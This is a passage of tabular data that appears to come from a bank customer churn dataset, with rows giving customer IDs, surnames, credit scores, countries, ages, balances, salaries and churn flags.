+8945,15752312,Howells,551,Spain,Male,49,1,150777.72,2,1,1,135757.27,0 +8946,15616745,Hs?,542,Spain,Male,35,2,174894.53,1,1,1,22314.55,0 +8947,15572294,Kelly,623,France,Male,28,7,0,1,0,0,129526.57,0 +8948,15674110,Walton,701,France,Female,43,2,160416.56,1,0,1,37266.43,0 +8949,15662501,Ebelechukwu,583,France,Male,48,3,91246.53,1,1,0,60017.46,1 +8950,15649239,Vasilieva,731,Spain,Male,46,10,0,2,1,0,153015.42,0 +8951,15700424,Hsiao,461,France,Female,35,5,0,1,1,1,54209.02,0 +8952,15636388,Abrego,702,Germany,Female,23,7,98775.23,1,1,0,114603.96,0 +8953,15713975,Gibson,565,Germany,Female,47,10,139756.12,1,1,0,165849.49,1 +8954,15592925,Giordano,711,Spain,Male,42,3,177626.77,3,0,1,16392.72,1 +8955,15581626,Mancini,664,France,Male,54,8,0,1,1,1,162719.69,1 +8956,15641319,Afanasyeva,518,Spain,Male,50,4,0,1,0,0,107112.25,1 +8957,15723481,Wright,728,Spain,Male,42,8,0,2,0,1,41823.22,0 +8958,15787825,Okwudiliolisa,585,Germany,Male,37,6,152496.82,1,1,1,99907.29,0 +8959,15710726,Hughes,573,France,Male,52,8,0,2,0,1,178229.04,0 +8960,15627195,Parrott,568,Germany,Male,26,1,112930.28,2,1,0,22095.73,0 +8961,15657957,Hughes,602,Germany,Female,26,8,113674.2,1,1,0,197861.16,1 +8962,15676117,Zinachukwudi,603,France,Male,44,9,0,1,1,0,138328.24,0 +8963,15607874,Keane,687,France,Male,38,0,144450.58,1,0,1,137276.83,0 +8964,15796993,McCollum,741,France,Male,52,1,171236.3,2,0,0,21834.4,1 +8965,15649858,Simpson,469,Spain,Male,37,9,96776.49,1,1,1,119890.86,0 +8966,15811032,Gambrell,477,Germany,Female,58,8,145984.92,1,1,1,24564.7,0 +8967,15679963,Moretti,737,Germany,Male,43,8,96353.8,1,0,0,10209.8,0 +8968,15579131,Ricci,835,France,Male,25,7,0,2,1,1,83449.65,0 +8969,15572428,Rieke,717,Germany,Female,33,0,115777.23,1,1,1,81508.1,0 +8970,15622461,Ndubuagha,562,France,Female,51,7,122822,2,0,0,32626.21,0 +8971,15636105,Chung,758,Spain,Male,61,2,0,2,1,1,43982.41,0 +8972,15583849,Ts'ai,408,France,Male,40,3,0,2,0,0,124874.23,0 +8973,15718780,Cox,650,Spain,Female,32,4,79450.09,1,1,1,118324.75,0 +8974,15739271,Lei,582,Germany,Male,33,2,122394,1,1,1,22113.93,0 +8975,15697129,Ulyanova,706,Spain,Female,43,1,0,2,1,0,31962.77,0 +8976,15763415,Gray,567,Germany,Male,41,0,134378.89,1,1,1,105746.94,0 +8977,15796617,McGregor,720,France,Male,29,2,0,2,1,0,39925.52,0 +8978,15626628,Tretiakova,631,Spain,Female,31,2,88161.85,2,1,0,127630.88,0 +8979,15765857,Genovesi,623,Spain,Male,41,2,142412.13,1,1,0,28778.98,0 +8980,15742511,Gordon,514,France,Male,35,3,121030.9,1,1,0,10008.68,0 +8981,15786433,Aitken,650,Germany,Female,35,3,165982.43,2,1,1,24482.16,0 +8982,15685805,Ginikanwa,673,Spain,Female,35,6,0,2,1,0,98618.79,0 +8983,15627971,Coates,504,France,Female,32,8,206663.75,1,0,0,16281.94,0 +8984,15783025,Piazza,723,Germany,Male,37,3,94661.53,2,1,0,121239.65,0 +8985,15726289,Cawood,645,France,Male,25,0,174400.36,1,1,0,42669.37,0 +8986,15802118,Ignatieff,664,Spain,Male,41,7,123428.69,1,1,1,164924.11,0 +8987,15607990,Gallo,760,Spain,Male,43,6,175735.5,1,1,1,157337.29,0 +8988,15695932,Yelverton,766,Spain,Male,36,5,78381.13,1,0,1,153831.6,0 +8989,15812279,William,634,France,Male,37,5,115345.86,2,0,0,168781.8,0 +8990,15687558,Mault,640,Germany,Female,31,10,118613.34,1,1,0,168469.65,0 +8991,15729065,Mackay,784,Germany,Male,28,2,109960.06,2,1,1,170829.87,0 +8992,15698902,McIntyre,547,Germany,Female,42,1,142703.4,1,1,0,86207.49,1 +8993,15570192,Henry,608,Germany,Female,40,8,121729.42,1,0,0,61164.45,0 +8994,15809265,Kao,547,France,Female,35,4,0,1,1,1,133287.73,0 +8995,15745201,Frewin,612,France,Female,43,4,139496.35,2,1,1,77128.23,0 +8996,15580623,Yefremova,573,Spain,Male,28,8,0,2,0,0,77660.03,0 +8997,15578156,Anenechukwu,615,Spain,Male,32,5,138521.83,1,1,1,56897.1,0 +8998,15631063,Trentino,710,France,Female,33,2,0,2,1,0,72945.32,0 +8999,15692577,Tomlinson,674,Germany,Female,38,10,83727.68,1,1,0,45418.12,0 +9000,15810910,Royston,702,Spain,Female,38,9,0,2,1,1,158527.45,0 +9001,15723217,Cremonesi,616,France,Male,37,9,0,1,1,0,111312.96,0 +9002,15733111,Yeh,688,Spain,Male,32,6,124179.3,1,1,1,138759.15,0 +9003,15610727,Ch'in,605,France,Male,36,7,128829.25,1,1,0,190588.59,0 +9004,15792720,Martinez,676,France,Male,33,6,171490.78,1,0,0,79099.64,0 +9005,15723153,Wearing,708,Spain,Male,33,3,0,2,1,0,138613.21,0 +9006,15802823,Maclean,745,Spain,Female,38,7,0,2,1,1,194230.82,0 +9007,15756118,T'ao,661,Spain,Male,20,8,0,1,1,0,110252.53,0 +9008,15684934,Rose,726,France,Male,31,9,0,2,1,1,106117.3,0 +9009,15776936,Whitworth,475,France,Male,40,7,160818.08,1,0,1,169642.13,1 +9010,15729087,Suttor,751,Germany,Male,54,9,156367.6,2,0,1,116179.92,0 +9011,15786463,Hsing,645,Germany,Female,59,8,121669.93,2,0,0,91.75,1 +9012,15717498,Boni,775,France,Male,42,6,133970.22,2,0,1,187839.9,0 +9013,15718406,Marshall,540,France,Male,41,3,0,2,1,0,121098.65,0 +9014,15799468,Catchpole,591,France,Female,34,3,96127.27,1,0,0,30972.06,0 +9015,15626383,Tang,596,Spain,Male,60,7,121907.97,1,0,1,30314.04,0 +9016,15597385,Siddons,573,Spain,Male,41,5,0,2,0,1,14479.29,0 +9017,15570271,Wan,577,Spain,Male,31,6,0,1,1,1,196395.25,0 +9018,15690330,Efimov,830,Germany,Female,40,8,77701.64,1,0,1,19512.38,0 +9019,15680611,Rose,663,France,Male,67,9,0,3,1,1,72318.77,0 +9020,15810227,Fanucci,421,France,Male,34,2,0,2,1,1,96615.23,0 +9021,15807194,Iweobiegbulam,718,Spain,Male,34,5,113922.44,2,1,0,30772.22,0 +9022,15712199,Ijendu,655,Germany,Female,61,2,183997.7,2,1,1,161217.18,0 +9023,15694995,O'Sullivan,712,France,Male,23,2,0,2,0,1,66795.78,0 +9024,15723400,Hutchinson,663,France,Male,28,4,0,2,1,1,123969.64,0 +9025,15654772,Kwemto,640,France,Female,47,6,89799.46,2,0,1,13783.77,1 +9026,15574743,Chiu,577,Spain,Male,29,2,0,1,1,1,168924.41,0 +9027,15807593,Berry,546,Spain,Female,36,7,85660.96,1,0,0,134778.01,0 +9028,15686718,Hung,802,Germany,Male,37,9,115569.21,1,0,1,119782.89,0 +9029,15695299,Mordvinova,590,France,Female,45,2,81828.22,1,1,0,52167.97,0 +9030,15722701,Bruno,594,Germany,Male,18,1,132694.73,1,1,0,167689.56,0 +9031,15799635,Arbour,577,Spain,Male,51,2,108867,1,0,0,140800.66,1 +9032,15742323,Barese,541,France,Male,39,7,0,2,1,0,19823.02,0 +9033,15658435,Hingston,781,France,Female,27,5,0,2,0,0,72969.9,0 +9034,15586029,Davis,806,Germany,Male,34,2,96152.68,2,1,0,143711.02,0 +9035,15772337,Lawrence,723,Germany,Female,49,0,153855.52,1,1,1,180862.26,1 +9036,15807555,Chung,535,France,Male,45,2,0,2,1,0,125658.28,0 +9037,15603378,Padovano,768,France,Female,36,3,141334.95,1,0,1,125870.5,0 +9038,15792862,Blinova,653,Germany,Male,41,1,104584.11,1,1,0,15126.32,1 +9039,15657349,Carter,803,Germany,Female,50,8,98173.02,1,0,0,22457.25,1 +9040,15777614,Webb,545,Spain,Female,44,1,0,2,1,1,82614.89,0 +9041,15653952,T'an,581,Germany,Female,38,3,135157.05,1,1,1,32919.42,0 +9042,15724336,Yates,513,Germany,Female,49,5,171601.27,1,1,0,126223.84,0 +9043,15689594,Su,731,France,Male,29,5,179539.2,1,0,0,112010.02,0 +9044,15801920,Christian,727,Germany,Male,39,5,80615.46,2,0,0,180962.32,0 +9045,15653347,Chiu,560,Spain,Male,47,1,0,1,0,0,128882.66,1 +9046,15749951,Sacco,766,Germany,Male,27,5,126285.73,1,1,0,177614.17,1 +9047,15648178,Lettiere,630,Germany,Female,23,4,137964.51,1,0,1,174570.55,0 +9048,15738662,Daluchi,652,Germany,Male,41,9,159434.03,1,1,0,178373.93,0 +9049,15640855,T'ien,729,Germany,Male,40,5,113574.61,2,1,0,103396.08,0 +9050,15584288,Hung,629,France,Female,33,6,0,2,1,1,59129.72,0 +9051,15760988,Liu,667,Germany,Male,33,9,124573.33,2,0,0,683.37,0 +9052,15569624,Feng,671,Germany,Female,31,6,105864.6,2,1,0,145567.34,0 +9053,15597949,Gilbert,768,Germany,Female,47,5,104552.61,1,1,0,48137.08,1 +9054,15604551,Robb,732,France,Female,35,3,0,2,1,0,90876.95,0 +9055,15617476,Manfrin,546,France,Female,30,5,0,2,0,1,198543.09,0 +9056,15645323,Chinwenma,630,France,Male,55,2,0,1,1,1,106202.07,1 +9057,15793311,Smith,765,Germany,Female,46,8,119492.88,2,0,1,166896.01,1 +9058,15764153,Rowe,704,France,Female,33,0,130499.09,2,1,1,74804.36,0 +9059,15802560,Moran,470,Spain,Female,48,6,140576.11,1,1,1,116971.05,0 +9060,15728608,Walker,688,Germany,Female,34,9,91025.58,2,0,1,163783,0 +9061,15770474,Myers,685,France,Female,33,1,0,3,0,1,70221.13,1 +9062,15724444,Wall,567,France,Female,38,1,125877.65,2,1,1,107841.77,0 +9063,15753110,McKay,720,Spain,Male,64,3,45752.78,2,1,0,79623.28,1 +9064,15711521,Egobudike,609,France,Male,39,3,121778.71,1,1,1,138399.67,0 +9065,15632816,Williams,521,Germany,Female,49,2,127948.57,1,1,1,182765.14,0 +9066,15693637,Ochoa,556,France,Female,30,7,0,2,1,1,186648.19,0 +9067,15725509,Otutodilinna,662,Germany,Male,30,5,115286.68,2,1,1,149587.92,0 +9068,15684645,Ajuluchukwu,704,Germany,Male,41,9,62078.21,2,1,0,129050.67,0 +9069,15692235,Bellucci,750,France,Female,38,1,0,2,1,0,47764.99,0 +9070,15777459,Gordon,619,Spain,Female,32,4,175406.13,2,1,1,172792.43,1 +9071,15656937,Johnston,468,Spain,Male,26,1,131643.25,1,1,0,64436.16,0 +9072,15610643,De Luca,435,Germany,Male,44,3,151739.65,1,1,0,167461.5,0 +9073,15777315,Hill,529,France,Male,43,6,93616.35,2,0,0,98348.66,0 +9074,15611058,Eluemuno,702,Germany,Female,60,5,138597.54,2,1,1,41536.59,1 +9075,15630413,Howarth,608,France,Female,41,5,0,2,1,1,72462.25,0 +9076,15635942,Thomson,576,France,Male,40,9,0,2,1,0,112465.19,1 +9077,15648858,King,666,France,Female,27,1,85225.21,1,0,1,64511.44,0 +9078,15810732,Grant,730,France,Female,36,8,148749.29,2,1,0,91830.75,0 +9079,15705448,Gilbert,647,Germany,Male,52,7,130013.12,1,1,1,190806.36,1 +9080,15730488,Richmond,516,Spain,Female,27,1,0,1,0,1,112311.15,0 +9081,15620443,Fiorentino,711,France,Female,81,6,0,2,1,1,72276.24,0 +9082,15741078,Greece,736,France,Male,54,7,111729.47,2,0,1,84920.49,0 +9083,15753161,Dickson,768,France,Female,36,5,180169.44,2,1,0,17348.56,0 +9084,15711396,Henderson,427,Spain,Male,40,8,0,2,1,1,82870.75,0 +9085,15593499,Stevens,686,Spain,Female,47,6,0,1,1,0,32080.69,1 +9086,15579189,Mitchell,690,France,Female,42,5,0,2,0,1,120512.08,0 +9087,15743545,Nworie,647,Spain,Female,29,2,0,2,1,0,179032.68,0 +9088,15791316,Boni,714,France,Male,35,3,0,2,1,1,95623.28,0 +9089,15608246,Wentcher,736,Germany,Female,36,8,103914.17,1,1,1,110035.88,1 +9090,15676526,Bentley,608,France,Female,34,4,88772.87,1,1,1,168822.01,0 +9091,15813911,Hayes-Williams,809,France,Female,39,5,0,1,1,0,77705.75,0 +9092,15630195,Johnstone,745,France,Female,40,6,131184.67,1,1,1,49815.62,0 +9093,15736250,Johnstone,781,France,Male,38,2,117810.79,1,0,1,65632.33,1 +9094,15671334,Nixon,527,France,Male,31,4,0,1,1,0,169361.89,0 +9095,15574169,Trevisano,595,Germany,Female,32,0,92466.21,1,1,0,4721.3,0 +9096,15718839,Tsui,850,Germany,Female,38,2,102741.15,2,0,1,23974.85,0 +9097,15762331,Moss,569,France,Male,37,9,178755.84,1,1,0,199929.17,0 +9098,15606901,Graham,728,France,Male,43,7,0,2,1,0,40023.7,0 +9099,15713559,Onyemauchechukwu,473,Germany,Female,32,5,146602.25,2,1,1,72946.95,0 +9100,15768881,Saunders,738,France,Male,29,2,0,2,1,1,170421.13,0 +9101,15743075,Ko,659,France,Male,35,6,0,2,1,1,58879.11,0 +9102,15660980,Cairns,597,Spain,Male,38,6,115702.67,2,1,1,25059.05,0 +9103,15810942,Chiemela,445,Germany,Female,61,2,137655.31,1,0,1,29909.84,0 +9104,15728362,Robertson,671,France,Female,29,3,0,2,1,0,158043.11,0 +9105,15683339,P'eng,656,Spain,Female,34,6,59877.33,1,1,0,14032.62,1 +9106,15685476,Tseng,658,France,Male,31,5,100082.14,1,0,1,49809.88,0 +9107,15663650,Russell,698,Germany,Male,52,10,107304.39,3,1,0,28806.32,1 +9108,15617434,Yen,655,Spain,Male,38,9,0,1,0,1,90490.33,0 +9109,15622470,Yeh,772,Spain,Male,41,10,96032.22,1,1,1,75825.57,0 +9110,15703682,Kalinina,681,Spain,Male,33,10,0,1,0,0,158336.36,0 +9111,15727391,Collier,688,Germany,Male,29,9,144553.5,2,1,0,143454.95,0 +9112,15711062,Thomas,633,Germany,Male,40,5,86172.81,2,1,1,117279.49,0 +9113,15567339,Shaw,735,France,Male,73,9,0,1,1,1,114283.33,0 +9114,15760662,Francis,521,Germany,Female,29,2,87212.8,1,1,1,994.86,0 +9115,15605737,George,541,France,Male,36,5,0,2,1,0,124795.84,0 +9116,15692977,Ikenna,612,Germany,Female,36,2,130700.92,2,0,0,77592.8,0 +9117,15672082,Schatz,562,France,Male,62,3,0,2,1,0,105986.01,0 +9118,15600280,Tao,703,France,Female,32,6,0,2,0,0,33606.52,0 +9119,15804052,Scott,710,Spain,Male,23,6,0,2,1,1,134188.11,0 +9120,15576065,Sims,731,Spain,Female,40,5,171325.98,1,1,1,159718.27,1 +9121,15796838,Chibugo,703,Spain,Male,58,4,92930.92,1,0,1,85148.78,0 +9122,15693526,Ku,618,France,Female,40,0,0,1,1,0,119059.13,0 +9123,15748595,Stanton,689,France,Female,29,1,77556.79,2,1,1,122998.26,0 +9124,15679029,Kung,718,France,Male,33,7,102874.28,1,0,0,117841.06,0 +9125,15753639,Gibson,608,France,Male,37,5,146093.39,2,0,0,160593.41,0 +9126,15604138,Iheanacho,749,Spain,Male,34,2,0,1,0,0,174189.04,1 +9127,15666095,Costa,753,Spain,Male,51,4,79811.72,2,0,1,68260.27,1 +9128,15643487,Sal,630,Spain,Male,39,10,105473.74,1,0,0,58854.88,1 +9129,15764033,Lin,693,Germany,Female,43,1,121927.92,1,1,0,87994.95,1 +9130,15747288,Ferri,838,Spain,Female,40,6,61671.19,1,0,1,150659.35,1 +9131,15790599,Yin,756,Germany,Female,39,5,149363.12,2,1,1,109098.39,0 +9132,15737705,Avdeyeva,775,France,Female,27,4,152309.37,1,1,0,104112,0 +9133,15737194,Tu,635,France,Female,33,5,0,2,1,0,122949.71,0 +9134,15726776,Donnelly,705,Spain,Male,36,1,111629.29,1,1,1,21807.16,0 +9135,15804357,Loggia,481,France,Male,40,3,0,1,1,1,32319.93,0 +9136,15664432,Chao,727,Spain,Female,49,7,96296.78,1,1,0,190457.87,1 +9137,15688984,Belonwu,595,France,Male,20,4,95830.43,1,1,0,177738.98,0 +9138,15583026,Welch,535,France,Female,38,0,135919.33,1,1,0,80425.65,0 +9139,15771668,Henderson,578,France,Male,59,10,185966.64,1,0,0,9445.42,1 +9140,15779904,Yobanna,597,France,Female,29,5,0,2,1,1,174825.57,0 +9141,15784323,Gallo,449,France,Female,21,7,0,2,0,0,175743.92,0 +9142,15756277,Wilson,850,Germany,Female,43,8,92244.83,2,1,0,54949.73,0 +9143,15663312,Marino,494,France,Female,35,9,112727.06,2,1,0,183752.91,0 +9144,15793197,Bailey,676,France,Female,34,8,100359.54,1,0,0,46038.28,0 +9145,15731463,Gboliwe,818,Germany,Male,43,10,105301.5,1,1,1,78941.59,0 +9146,15621768,Chukwuhaenye,712,Spain,Male,45,6,112994.65,1,0,0,198398.68,0 +9147,15691323,Bianchi,672,Germany,Male,40,4,89025.88,2,1,0,188892.19,0 +9148,15781326,Ford,636,France,Male,35,9,95478.17,1,0,0,169286.74,0 +9149,15595640,Rizzo,698,France,Male,37,8,0,2,0,0,145004.39,0 +9150,15814331,Lung,597,Germany,Female,43,7,119127.46,2,1,0,55809.92,0 +9151,15602030,Ramirez,717,France,Male,28,4,128206.79,1,1,1,54272.12,0 +9152,15747974,Sabbatini,614,France,Male,49,1,0,2,1,0,192440.54,0 +9153,15611315,Ts'ao,708,Germany,Female,23,4,71433.08,1,1,0,103697.57,0 +9154,15636977,Trevisan,507,Germany,Male,36,9,118214.32,3,1,0,119110.03,1 +9155,15690337,Chinwenma,581,France,Female,27,5,102258.11,2,1,0,194681.6,0 +9156,15680666,Berry,579,Spain,Female,39,2,151963.26,2,1,0,158948.63,0 +9157,15679551,Colombo,504,Spain,Female,46,2,163764.84,1,1,1,165122.55,1 +9158,15778915,Harris,737,France,Female,32,7,128551.36,2,0,1,189402.71,0 +9159,15568849,Bryan,540,Spain,Female,31,10,118158.74,1,1,1,158027.57,0 +9160,15747762,Chigozie,609,France,Male,32,7,118520.41,1,0,0,3815.48,0 +9161,15753679,Mullawirraburka,778,France,Male,24,4,0,2,1,1,162809.2,0 +9162,15750049,Steele,621,France,Male,40,10,163823.37,1,0,0,89519.47,0 +9163,15606097,Zakharov,665,Germany,Male,63,7,104469.58,1,1,1,25165.36,1 +9164,15802368,Ch'eng,608,France,Female,47,6,0,1,1,1,126012.57,0 +9165,15767488,Berry,680,Spain,Male,36,7,0,2,1,0,20109.21,0 +9166,15669946,Jen,663,Germany,Female,46,2,141726.88,1,1,1,58257.23,0 +9167,15612103,Wang,627,Germany,Female,35,2,137852.96,1,1,1,172269.21,1 +9168,15645353,Chubb,607,France,Male,26,1,0,1,1,0,29818.2,0 +9169,15650018,Chen,681,France,Female,43,8,154100.3,1,0,0,114659.81,0 +9170,15659002,Mazzanti,766,France,Female,45,6,0,2,0,0,147184.74,0 +9171,15616028,T'ao,694,France,Male,30,2,0,3,0,1,15039.41,0 +9172,15660475,Ndubueze,411,France,Female,54,9,0,1,0,1,76621.49,0 +9173,15652615,Ferri,742,France,Male,39,8,140004.96,1,1,1,92985.78,0 +9174,15653572,Thornton,673,Spain,Male,43,8,127132.96,1,0,1,6009.27,1 +9175,15628059,DeRose,529,France,Male,61,1,0,2,1,1,191370.97,0 +9176,15703413,Montes,519,France,Female,38,7,125328.56,1,1,0,188225.67,0 +9177,15610433,Kwemto,573,France,Male,35,9,0,2,1,0,11743.89,0 +9178,15770548,Lucchese,453,Germany,Female,28,3,139986.65,1,1,0,136846.75,0 +9179,15645637,Huggins,798,Germany,Female,39,6,119787.76,1,1,1,164248.33,0 +9180,15590888,Wade,693,Spain,Female,34,10,107556.06,2,0,0,154631.35,0 +9181,15568326,Kenenna,637,France,Female,44,2,0,2,1,0,149665.65,0 +9182,15655368,Wheeler,672,France,Male,47,1,0,1,0,0,91574.92,0 +9183,15665579,Cartwright,597,France,Female,28,0,142705.95,1,1,0,127233.39,0 +9184,15676091,Iloerika,543,France,Male,42,7,0,1,1,1,56650.47,0 +9185,15716984,Palermo,695,Spain,Female,56,4,0,2,1,0,84644.76,0 +9186,15715078,Nkemakolam,584,France,Male,35,6,161613.94,2,1,1,148238.16,0 +9187,15569452,Butler,652,Germany,Female,58,3,116353.2,2,0,1,193502.9,0 +9188,15628863,Calabresi,601,France,Male,38,4,60013.81,1,1,1,38020.05,0 +9189,15778192,Nkemdilim,628,Spain,Male,28,4,0,2,1,1,176750.81,0 +9190,15793723,Ch'iu,607,Germany,Male,32,9,144272.07,2,1,0,176580.63,0 +9191,15798943,Alexander,646,France,Female,46,8,0,2,1,0,133059.15,0 +9192,15764708,Chiabuotu,572,France,Male,30,6,117696.67,1,1,0,100843.82,0 +9193,15791040,Vasilyeva,801,Spain,Male,58,1,79954.61,2,1,1,30484.19,0 +9194,15631512,Schneider,597,France,Female,26,8,149989.39,1,1,0,42330.58,0 +9195,15640106,Mason,613,France,Male,40,7,124339.9,1,0,0,193309.58,0 +9196,15710315,Chukwukadibia,529,Germany,Male,29,4,135759.4,1,0,0,112813.79,1 +9197,15771535,Tsui,794,Spain,Female,37,9,0,2,1,0,68008.85,0 +9198,15611947,Banks,557,France,Male,34,3,83074,1,1,0,132673.22,0 +9199,15670266,Shih,499,France,Female,28,4,141792.61,1,1,1,22001.91,0 +9200,15609083,Tretiakova,544,France,Female,26,6,0,1,1,0,100200.4,1 +9201,15567923,Barese,739,France,Female,30,6,0,1,0,0,122604.44,0 +9202,15788183,Longo,458,Germany,Female,43,1,106870.12,2,1,0,100564.37,0 +9203,15735782,MacDonald,528,France,Male,31,9,120962.59,1,1,0,5419.31,0 +9204,15774401,Chambers,773,Spain,Male,51,4,0,2,0,0,123587.83,1 +9205,15737971,Cowen,646,France,Female,30,5,0,2,1,0,13935.32,0 +9206,15758750,Iweobiegbunam,564,France,Male,31,0,110527.17,1,1,1,87060.77,0 +9207,15611767,Mai,624,Germany,Female,52,0,133723.43,1,0,0,4859.59,1 +9208,15643770,Yu,682,France,Female,52,5,112670.48,1,1,0,21085.17,1 +9209,15744717,Duffy,726,France,Female,44,2,0,2,1,1,26733.86,0 +9210,15570681,Chiang,560,France,Male,24,1,116084.32,1,1,0,89734.7,0 +9211,15792650,Watts,382,Spain,Male,36,0,0,1,1,1,179540.73,1 +9212,15605531,Daly,457,Spain,Female,38,6,0,2,1,0,173219.09,0 +9213,15605339,Baker,673,France,Female,37,10,0,2,1,1,37411.35,0 +9214,15672216,Uvarov,584,France,Female,40,4,82441.75,1,0,0,80852.11,0 +9215,15812893,Costa,629,France,Female,39,10,0,2,1,1,43174.49,1 +9216,15624180,Genovesi,584,Germany,Female,37,10,134171.8,4,1,1,70927.11,1 +9217,15701364,Doherty,724,France,Male,30,10,0,2,1,1,54265.55,0 +9218,15762588,Kaleski,644,France,Male,31,5,0,2,1,1,41872.17,0 +9219,15806318,Wright,676,Germany,Female,48,2,124442.38,1,1,0,15068.53,1 +9220,15712596,Huang,499,France,Male,31,4,0,1,1,0,25950.49,0 +9221,15600399,Trentino,598,France,Male,60,4,0,1,1,0,197727.14,1 +9222,15576216,Chienezie,655,Germany,Female,37,4,108862.76,1,1,0,79555.08,1 +9223,15620750,Sugden,559,France,Male,28,3,141099.43,1,1,1,15607.27,0 +9224,15623489,Tu,543,France,Female,67,0,128843.67,1,1,1,134612.48,0 +9225,15667944,Onuchukwu,679,France,Male,39,0,86843.61,1,0,1,159830.58,0 +9226,15584928,Ugochukwutubelum,594,Germany,Female,32,4,120074.97,2,1,1,162961.79,0 +9227,15779913,Davidson,586,France,Male,27,5,130231.8,2,1,1,192427.16,0 +9228,15644977,Goddard,776,France,Female,31,5,0,2,1,0,92647.94,0 +9229,15749679,Beck,699,France,Male,39,2,109724.38,1,1,1,180022.39,0 +9230,15629010,Beam,847,Germany,Female,35,5,111743.43,1,1,1,183584.14,0 +9231,15768465,Sheppard,582,Germany,Male,35,8,121309.17,2,1,1,28750.67,0 +9232,15767781,Godfrey,648,France,Male,38,10,82697.28,1,1,0,74846.67,0 +9233,15635364,Gray,618,France,Female,49,9,44301.43,3,1,1,89729.3,1 +9234,15722004,Hsiung,543,France,Female,31,4,138317.94,1,0,0,61843.73,0 +9235,15766044,Cameron,642,Germany,Male,49,4,120688.61,1,1,0,24770.22,1 +9236,15586680,Fleming,462,France,Male,27,4,176913.52,1,1,0,80587.27,0 +9237,15635388,Austin,640,Spain,Male,47,6,89047.14,1,1,0,116286.25,0 +9238,15655175,Wallace,740,Germany,Male,40,4,114318.78,2,1,0,129333.69,1 +9239,15639133,Ku,773,France,Female,50,4,0,2,1,0,129372.94,0 +9240,15799653,Fiorentino,583,Germany,Female,32,7,94753.55,2,1,1,18149.03,0 +9241,15723872,Buccho,589,Spain,Female,46,10,0,2,0,1,168369.37,0 +9242,15775627,Gordon,509,France,Male,35,8,0,2,0,1,67431.28,0 +9243,15630704,Haworth,612,Germany,Male,32,9,106520.73,2,1,0,177092.16,0 +9244,15815534,Guidry,505,Spain,Male,37,0,134006.39,1,1,1,93736.69,0 +9245,15697249,Lettiere,546,Germany,Female,25,3,132837.7,1,1,0,131647.31,0 +9246,15681316,Tai,681,France,Female,41,0,120549.29,2,1,0,175722.31,0 +9247,15682523,Chigozie,762,France,Male,20,1,139432.55,1,1,1,85606.83,0 +9248,15650244,Bezrukov,786,Spain,Male,29,7,80895.44,2,1,0,64945.57,0 +9249,15648638,Chia,629,Spain,Male,34,6,0,2,1,0,190347.72,0 +9250,15795747,Sheppard,787,Spain,Female,39,7,171646.76,1,0,1,100791.36,0 +9251,15607330,Vasilyev,713,Spain,Male,42,0,109121.71,1,0,1,167873.49,0 +9252,15624013,Maxwell,541,France,Female,39,6,109844.81,1,1,0,25289.23,0 +9253,15800805,Maher,451,France,Female,31,7,140931.82,1,0,1,20388.77,0 +9254,15667321,Cocci,644,Spain,Male,49,10,0,2,1,1,145089.64,0 +9255,15601116,P'an,686,France,Male,32,6,0,2,1,1,179093.26,0 +9256,15622033,Rapuluchukwu,847,Germany,Female,41,3,101543.51,4,1,0,16025.17,1 +9257,15758451,Azuka,765,Germany,Male,37,7,102708.77,1,1,0,9087.81,0 +9258,15688689,Esposito,678,Germany,Female,37,8,149000.91,2,1,1,21472.42,0 +9259,15652674,Hou,539,France,Male,20,0,83459.86,1,1,1,146752.67,0 +9260,15806327,Cyril,800,France,Female,40,3,75893.11,2,1,0,132562.23,0 +9261,15649618,Tomlinson,799,Germany,Female,39,7,167395.6,2,0,1,139537.43,0 +9262,15677117,Crawford,629,France,Female,61,6,0,2,1,1,133672.61,0 +9263,15751445,Chikwado,734,Germany,Female,52,6,71283.09,2,0,1,38984.37,0 +9264,15749669,Hargreaves,542,France,Female,31,3,0,2,1,1,115217.59,0 +9265,15656351,Laidley,414,Spain,Male,60,3,0,2,1,1,93844.82,0 +9266,15667438,Ferguson,675,France,Female,38,1,104016.88,1,0,0,22068.83,1 +9267,15682273,Burns,683,France,Female,38,5,127616.56,1,1,0,123846.07,0 +9268,15580912,McNeill,748,France,Male,32,5,154737.88,2,1,1,172638.13,0 +9269,15785183,Chukwuebuka,596,Spain,Male,29,2,0,2,1,1,1591.19,0 +9270,15705383,Shen,642,France,Male,35,4,125476.31,1,1,1,91775.51,0 +9271,15712903,Diaz,499,France,Female,21,3,176511.08,1,1,1,153920.22,0 +9272,15774285,Kentish,649,Spain,Female,47,8,110783.28,1,1,1,71420.16,0 +9273,15583138,Persse,739,France,Male,42,2,141642.92,2,1,0,172149.76,0 +9274,15740160,Okwukwe,616,France,Male,31,1,0,2,1,1,54706.75,0 +9275,15793425,Watt,560,Spain,Female,33,9,0,1,0,1,183358.21,0 +9276,15749265,Carslaw,427,Germany,Male,42,1,75681.52,1,1,1,57098,0 +9277,15623989,Griffin,435,France,Male,54,3,0,1,1,0,156910.46,1 +9278,15604832,Hsia,633,France,Male,29,7,0,1,1,1,130224.73,0 +9279,15584580,Fyodorova,443,France,Male,35,6,161111.45,1,0,0,13946.66,0 +9280,15573854,Chukwujekwu,727,France,Male,62,5,0,2,0,1,38652.96,0 +9281,15614847,Townsend,674,France,Female,45,6,72494.69,1,0,1,140041.78,0 +9282,15679966,Marsh,661,France,Female,31,3,133964.3,1,1,1,166187.1,0 +9283,15799435,Hayes,619,Spain,Male,34,1,0,1,1,0,139919.38,0 +9284,15752186,Padovano,562,France,Female,27,3,0,2,1,0,28137.03,0 +9285,15705544,Ma,633,France,Male,61,3,157201.48,1,0,1,50368.63,0 +9286,15713632,Ham,551,Spain,Female,48,5,95679.29,1,0,0,94978.1,0 +9287,15586523,Paten,720,Germany,Female,29,7,106230.92,1,1,1,69903.93,1 +9288,15609176,Cawthorne,688,France,Female,32,5,0,2,0,1,177607.77,0 +9289,15769308,Herbert,635,Germany,Female,36,9,81231.85,2,1,0,196731.08,0 +9290,15676810,Jen,561,France,Female,31,1,81480.27,2,1,1,65234.6,0 +9291,15634591,Saunders,850,France,Male,33,8,73059.38,1,1,1,186281,0 +9292,15679804,Esquivel,636,France,Male,36,5,117559.05,2,1,1,111573.3,0 +9293,15677764,Chao,461,Germany,Female,74,1,186445.31,2,1,1,196767.83,0 +9294,15571917,Eluemuno,771,Germany,Female,38,5,137657.71,2,1,0,72985.61,0 +9295,15574608,Sidorova,713,France,Male,36,8,133889.35,1,1,1,143265.65,0 +9296,15740868,Pirogova,658,Germany,Female,45,9,134562.8,1,1,1,159268.67,0 +9297,15702442,Benson,586,Germany,Female,56,9,100781.75,2,1,1,54448.41,0 +9298,15699797,Santana,737,France,Male,30,8,174356.13,1,0,0,31928.5,0 +9299,15648047,Williamson,742,Germany,Male,27,5,190125.43,2,0,0,21793.59,0 